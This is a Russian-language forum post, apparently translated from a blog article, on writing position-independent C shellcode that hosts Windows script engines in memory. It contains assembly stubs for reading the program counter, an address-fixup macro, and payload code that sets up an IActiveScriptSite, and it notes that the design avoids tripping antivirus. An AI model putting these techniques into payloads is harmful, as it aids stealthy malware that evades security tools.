Компоновщик делает предположение о том, где PE-файл будет загружен в память. Большинство EXE-файлов запрашивают базовый адрес изображения 0x00400000 для 32-разрядных или 0x0000000140000000 для 64-разрядных. Если загрузчик PE не может отобразить по запрошенному адресу, он использует информацию о перемещении для исправления кода и данных, зависящих от положения. ARM поддерживает относительную к ПК адресацию с помощью кодов операций ADR, ADRP и LDR, но в устаревшем старом x86 отсутствует аналогичная инструкция. x64 поддерживает RIP-относительную адресацию, но нет гарантии, что компилятор будет использовать ее, даже если мы сообщим об этом (-fPIC и -fPIE для GCC). Поскольку мы используем C для Shell -кода, нам нужно вручную вычислить адрес функции относительно того места, где Shell-код находится в памяти. Мы могли бы применять перемещения точно так же, как это делает PE-загрузчик, но самоизменяющийся код может запускать некоторые антивирусные программы. Вместо этого счетчик программы (EIP на x86 или RIP на x64) считывается с использованием некоторой сборки, и это используется для вычисления виртуального адреса функции в памяти. Следующая заглушка кода помещается в конец полезной нагрузки и возвращает значение счетчика программы.
Код:
#if defined(_MSC_VER)
#if defined(_M_X64)
#define PC_CODE_SIZE 9 // sub rsp, 40 / call get_pc
static char *get_pc_stub(void) {
return (char*)_ReturnAddress() - PC_CODE_SIZE;
}
static char *get_pc(void) {
return get_pc_stub();
}
#elif defined(_M_IX86)
__declspec(naked) static char *get_pc(void) {
__asm {
call pc_addr
pc_addr:
pop eax
sub eax, 5
ret
}
}
#endif
#elif defined(__GNUC__)
#if defined(__x86_64__)
static char *get_pc(void) {
__asm__ (
"call pc_addr\n"
"pc_addr:\n"
"pop %rax\n"
"sub $5, %rax\n"
"ret");
}
#elif defined(__i386__)
static char *get_pc(void) {
__asm__ (
"call pc_addr\n"
"pc_addr:\n"
"popl %eax\n"
"subl $5, %eax\n"
"ret");
}
#endif
#endif
С помощью этого кода компоновщик будет вычислять относительный виртуальный адрес (RVA), вычитая смещение нашей целевой функции из смещения функции get_pc (). Затем во время выполнения он вычтет RVA из программного счетчика, возвращенного get_pc (), чтобы получить виртуальный адрес целевой функции. Позиция get_pc () должна быть помещена в конце полезной нагрузки, иначе это не будет работать. Следующий макрос (названный в честь кода операции ARM ADR) используется для вычисления виртуального адреса функции в памяти.
Код:
#define ADR(type, addr) (type)(get_pc() - ((ULONG_PTR)&get_pc - (ULONG_PTR)addr))
Чтобы проиллюстрировать, как он используется, следующий код из полезной нагрузки показывает, как инициализировать интерфейс IActiveScriptSite.
Код:
// initialize virtual function table
static VOID ActiveScript_New(PDONUT_INSTANCE inst, IActiveScriptSite *this) {
MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;
// Initialize IUnknown
mas->site.lpVtbl->QueryInterface = ADR(LPVOID, ActiveScript_QueryInterface);
mas->site.lpVtbl->AddRef = ADR(LPVOID, ActiveScript_AddRef);
mas->site.lpVtbl->Release = ADR(LPVOID, ActiveScript_Release);
// Initialize IActiveScriptSite
mas->site.lpVtbl->GetLCID = ADR(LPVOID, ActiveScript_GetLCID);
mas->site.lpVtbl->GetItemInfo = ADR(LPVOID, ActiveScript_GetItemInfo);
mas->site.lpVtbl->GetDocVersionString = ADR(LPVOID, ActiveScript_GetDocVersionString);
mas->site.lpVtbl->OnScriptTerminate = ADR(LPVOID, ActiveScript_OnScriptTerminate);
mas->site.lpVtbl->OnStateChange = ADR(LPVOID, ActiveScript_OnStateChange);
mas->site.lpVtbl->OnScriptError = ADR(LPVOID, ActiveScript_OnScriptError);
mas->site.lpVtbl->OnEnterScript = ADR(LPVOID, ActiveScript_OnEnterScript);
mas->site.lpVtbl->OnLeaveScript = ADR(LPVOID, ActiveScript_OnLeaveScript);
mas->site.m_cRef = 0;
mas->inst = inst;
}
Динамические вызовы функций DLL
После реализации поддержки некоторых методов WScript обеспечение доступа к функциям DLL напрямую из VBScript/ JScript с использованием аналогичного подхода стало намного проще для понимания. Первоначальная проблема заключается в том, как загрузить информацию о типе непосредственно из памяти. Одно из решений этого может быть найдено в Облегченном подходе для предоставления объектов C ++ размещенному движку Active Scripting. Столкнувшись с той же проблемой, автор использует CreateDispTypeInfo и CreateStdDispatch для создания интерфейсов ITypeInfo и IDispatch, необходимых для интерпретируемых языков для вызова объектов C ++. Тот же подход можно использовать для вызова функций DLL и не требует регистрации COM.
Переведено специально для XSS
neopaket
Shellcode: In-Memory Execution of JavaScript, VBScript, JScript and XSL
Introduction A DynaCall() Function for Win32 was published in the August 1998 edition of Dr.Dobbs Journal. The author, Ton Plooy, provided a function in C that allows an interpreted language such a…
modexp.wordpress.com
Последнее редактирование: